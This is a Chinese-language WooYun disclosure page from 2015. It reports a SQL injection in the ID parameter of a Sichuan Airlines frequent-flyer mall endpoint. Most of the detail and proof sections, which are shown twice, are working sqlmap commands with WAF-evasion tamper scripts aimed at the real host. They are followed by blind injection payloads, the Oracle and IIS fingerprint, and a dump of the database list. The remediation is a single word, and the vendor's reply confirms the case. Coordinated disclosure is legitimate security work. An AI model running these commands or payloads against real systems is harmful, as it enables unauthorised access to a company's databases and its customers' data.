当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091192

漏洞标题:四川航空某处SQL注入漏洞

相关厂商:四川航空

漏洞作者: 玉林嘎

提交时间:2015-01-11 21:05

修复时间:2015-02-25 21:06

公开时间:2015-02-25 21:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-11: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-26: 细节向核心白帽子及相关领域专家公开
2015-02-05: 细节向普通白帽子公开
2015-02-15: 细节向实习白帽子公开
2015-02-25: 细节向公众公开

简要描述:

rt

详细说明:

四川航空金熊猫俱乐部
http://ffp.scal.com.cn
post注入
http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList
post:
PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW (ID存在注入)
sqlmap -u "http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList" --data "PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py --random-agent -p "ID"

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: PageIndex=1&ID=ydcc' AND 8321=8321 AND 'iVwx'='iVwx&PageSize=0&OrderType=NEW
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: PageIndex=1&ID=ydcc' AND 1200=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(73)||CHR(115)||CHR(119),5) AND 'eKla'='eKla&PageSize=0&OrderType=NEW
---
[13:23:10] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[13:23:10] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
[13:23:10] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/ffp.scal.com.cn'


sqlmap -u "http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList" --data "PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py --random-agent -p "ID" --dbs
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCAR
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

漏洞证明:

四川航空金熊猫俱乐部
http://ffp.scal.com.cn
post注入
http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList
post:
PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW (ID存在注入)
sqlmap -u "http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList" --data "PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py --random-agent -p "ID"

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: PageIndex=1&ID=ydcc' AND 8321=8321 AND 'iVwx'='iVwx&PageSize=0&OrderType=NEW
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: PageIndex=1&ID=ydcc' AND 1200=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(73)||CHR(115)||CHR(119),5) AND 'eKla'='eKla&PageSize=0&OrderType=NEW
---
[13:23:10] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[13:23:10] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Oracle
[13:23:10] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/ffp.scal.com.cn'


sqlmap -u "http://ffp.scal.com.cn/FFPNewWeb/Mall/GetList" --data "PageIndex=1&ID=ydcc&PageSize=0&OrderType=NEW" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py --random-agent -p "ID" --dbs
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCAR
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

修复方案:

过滤

版权声明:转载请注明来源 玉林嘎@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-01-16 09:38

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向网站管理单位通报。

最新状态:

暂无